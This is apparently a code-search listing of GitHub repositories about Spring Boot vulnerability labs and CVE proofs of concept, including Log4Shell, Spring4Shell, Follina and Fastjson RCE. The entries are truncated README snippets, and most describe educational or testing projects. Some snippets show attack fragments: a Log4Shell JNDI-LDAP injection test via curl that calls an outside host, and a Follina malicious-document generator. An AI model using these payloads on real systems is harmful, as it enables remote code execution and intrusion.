log4j2-bugmaker

Log4j2-BugMaker CVE-2021-44228 Log4Shell Vulnerability Demonstration Project This is a demonstration project for learning and researching the Log4j2 remote code execution vulnerability Log4Shell. ⚠️ Safety Warning This project is intended for security research and educational purposes only. Do not...

CS4239-Spring4Shell-POC

CS4239-Spring4Shell-POC Proof of concept for CVE-2022-22965 Spring4Shell for CS4239 G410 report. Adapted from this PoC to demonstrate unpatched & patched behavior. Running the demo There are 2 example programs dockerized in this repository with identical source code. One uses a vulnerable version...

log4shell-demo

Simple Spring Boot application which is vulnerable to Log4Shell CVE-2021-44228 Changed default logging framework from logback to log4j2 Application logs 'User-Agent' header, so one can test vulnerability with curl and e.g. interactsh-service: curl -A '$jndi:ldap://interactsh-url/a'...

follina-spring

Follina MS-MSDT exploitation with Spring Boot This repository contains a simple Spring Boot application that acts both as a server to host/activate Follina payloads , and as a generator for malicious Word documents that are ready to be used as attack vectors to exploit CVE-2022-30190. This...

CVE-2021-21234

CVE-2021-21234 CVE-2021-21234 Spring Boot Directory Traversal spring-boot-actuator-logview adds a simple log file viewer as a spring boot actuator endpoint in a library. It is the maven package "eu.hinsch:spring-boot-actuator-logview". A directory traversal vulnerability exists in...

spring-boot-log4j-cve-2021-44228-docker-lab

Spring Boot Log4j - CVE-2021-44228 The Log4Shell vulnerability CVE-2021-44228 ultimately is a quite simple JNDI Injection flaw, but in a really really bad place. Log4J will perform a JNDI lookup while expanding placeholders in logging messages or indirectly as parameters for formatted messages...

JavaSecLab

JavaSecLab - A Comprehensive Java Vulnerability Lab 中文文档 Overview JavaSecLab is a comprehensive Java vulnerability lab for application security learning, code audit practice, secure development training, and security tool evaluation. Built on Spring Boot, it provides vulnerable code, fixed...

log4shellpoc

Simple Spring Boot application vulnerable to CVE-2021-44228 Log4Shell This proof-of-concept application for CVE-2021-44228 a.k.a log4shell is a part of my writeup. For the complete exploit details, refer to the writeup. Instructions Run: docker run --rm -p 8080:8080 --name log4shell-poc-app...

log4j2-exploit

Log4Shell CVE-2021-44228 proof of concept Requirement Java JDK/JRE 8 or later version curl exploitable Simple spring boot application that serves a login page with user and password. It logs the user name when POSTed to /. It is not required for the application to log any user provided input...

SpringBootVulExploit

Spring Boot Vulnerability Exploit Check List Collection of Spring Boot related vulnerability learning materials, exploitation methods and techniques, black-box security assessment check list Statement ⚠️ All content in this project is only for security research and authorized testing. Those who...

CVE-2021-21234

CVE-2021-21234 Directory traversal vulnerability in the spring-boot-actuator-logview library https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234...

SSE4-CVE-2022-22965

Spring Boot CVE-2022-22965 Docker PoC for CVE-2022-22965 with Spring Boot version 2.6.5 Getting Started 1. Run docker compose up --build to build and start the vulnerable application. 2. Run curl -H "Accept: text/html;"...

CVE-2026-16723

CVE-2026-16723 Fastjson RCE ★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★ Overview CVE-2026-16723 is a Remote Code Execution RCE vulnerability in Fastjson 1.x 1.2.68 – 1.2.83. When Fastjson parses attacker-controlled JSON, a crafted @type value is turned into a class-resource lookup inside...

log4j2-CVE-2021-44228

Sample Log4j2 vulnerable application CVE-2021-44228 Versions Affected: all versions from 2.0-beta9 to 2.14.1 This application is based on Spring Boot web application vulnerable to CVE-2021-44228 It uses Log4j 2.14.1 through spring-boot-starter-log4j2 2.6.1. Running the application Run it: Import...

CVE-2024-52302

CVE-2024-52302: Unrestricted File Upload Vulnerability in Common-User-Management Overview I discovered a critical security vulnerability in common-user-management , a robust Spring Boot application featuring user management services designed to control user access dynamically. This vulnerability...

log4shell-example

Log4Shell Exploit Test The goal of this project is to demonstrate the log4j cve-2021-44228 exploit vulnerability in a spring-boot setup, and to show how to fix it. This project contains three submodules. One of these has vulnerable code, the other two are patched. How to use this project Run ./mv...

android-pentest-tool

Android pentest tool designed for kali linux javaFX + Spring boot + bash scripts make all routine steps in one click Update Version 1.0 released! Build mvn clean package Run java -jar target/android-pentest-tool.jar TODO: add installation steps add features list more screenshots bug fixing add...

CVE-2025-46822

CVE-2025-46822 Unauthenticated Arbitrary File Read via Absolute Path Description: While Path.resolve method is being used to protect against path traversal I have found that the usage of absolute path successfully read internal files , the endpoint is also not authenticated this means anyone can...

log4shell

Log4Shell CVE-2021-44228 PoC Objective Reproduce, exploit, and remediate a known critical CVE in a Dockerised environment. This PoC demonstrates CVE-2021-44228 Log4Shell in a Spring Boot application. 1. Vulnerability Description CVE: 2021-44228 CVSS: 10.0 Critical Affected component: Apache Log4j...

Log4J-Log4Shell-CVE-2021-44228-Spring-Boot-Test-Service

CVE-2021-44228 Spring Boot Test Service This is a dirty hack spring boot hello world proejct to test your tooling/payloads/detection capabilities locally before you hit production targets with them. The configured Log4j version is 2.13.0 Building the docker image bash build.sh Running the docker...